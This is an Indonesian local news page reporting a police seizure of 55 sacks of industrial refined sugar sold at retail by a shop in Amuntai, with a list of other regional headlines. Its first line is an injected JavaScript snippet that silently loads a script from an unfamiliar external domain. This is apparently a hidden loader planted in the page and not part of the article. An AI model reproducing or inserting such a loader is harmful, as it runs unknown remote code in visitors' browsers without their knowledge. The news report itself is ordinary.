(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Polres HSU Amankan 55 Karung Gula Rafinasi di Toko Tiara


AMUNTAI, Satuan Reskrim Polres Hulu Sungai Utara (HSU) menindak pengecer gula rafinasi yang memperdagangkan gula kristal rafinasi merek BMM produksi PT Berkah Manis Makmur asal Serang yang sebenarnya untuk konsumsi industri, Sabtu (21/4).

Perlu diketahui gula rafinasi atau gula kristal putih merupakan gula mentah yang telah mengalami proses pemurnian untuk menghilangkan molase, sehingga gula rafinasi berwarna lebih putih dibandingkan gula mentah yang lebih berwarna kecokelatan

Menurut Kapolres HSU AKBP Agus Sudaryanto, pengecer gula rafinasi bernama toko Tiara Jalan Negara Dipa, Kelurahan Sungai Malang, Kecamatan Amuntai Tengah itu, polisi awalnya mendapatkan informasi bahwa pemilik toko Tiara yakni FR (42) memperdagangkan gula kristal rafinasi secara eceran.

“Pada saat petugas mendatangi toko tersebut, kami menemukan dan mengamankan gula kristal rafinasi merek BMM sebanyak 55 karung yang berisi sebanyak 2.750 kilogram,” ungkapnya.

Menurut Kapolres HSU mereka juga menemukan yang dalam kemasan plastik 1 kilogram sebanyak 68 bungkus, kemasan plastik setengah kilogram sebanyak 71 bungkus, kemasan plastik seperempat kilogram sebanyak 39 bungkus, dan satu karung yang berisi 30 kilogram.

“Atas temuan itu, pelaku dan barang bukti berhasil kami amankan di Polres untuk dilakukan penyidikan lebih lanjut,” tegas Agus.

Agus menambahkan, terlapor diancam jeratan pidana Pasal 62 ayat (1) jo Pasal 8 ayat (1) huruf a Undang-Undang nomor 8 tahun 1999 tentang Perlindungan Konsumen dan atau Pasal 110 Jo Pasal 30 ayat (1) dan atau Pasal 106 Undang-Undang nomor 7 tahun 2014 tentang Perdagangan.

“Distribusi gula rafinasi harus memiliki izin khusus dan tidak diedarkan secara bebas di pasaran seperti di warung-warung yang langsung dibeli konsumen atau masyarakat, sehingga distribusi gula rafinasi atau gula khusus industri hanya diperuntukkan kebutuhan industri,” pungkasnyas,

Sebagaimana ketentuan Pasal 9 Peraturan Menteri Perdagangan Nomor 117 Tahun 2015 menyebutkan bahwa gula kristal rafinasi hanya bisa didistribusikan untuk industri saja. (rendy)

Reporter : Rendy
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.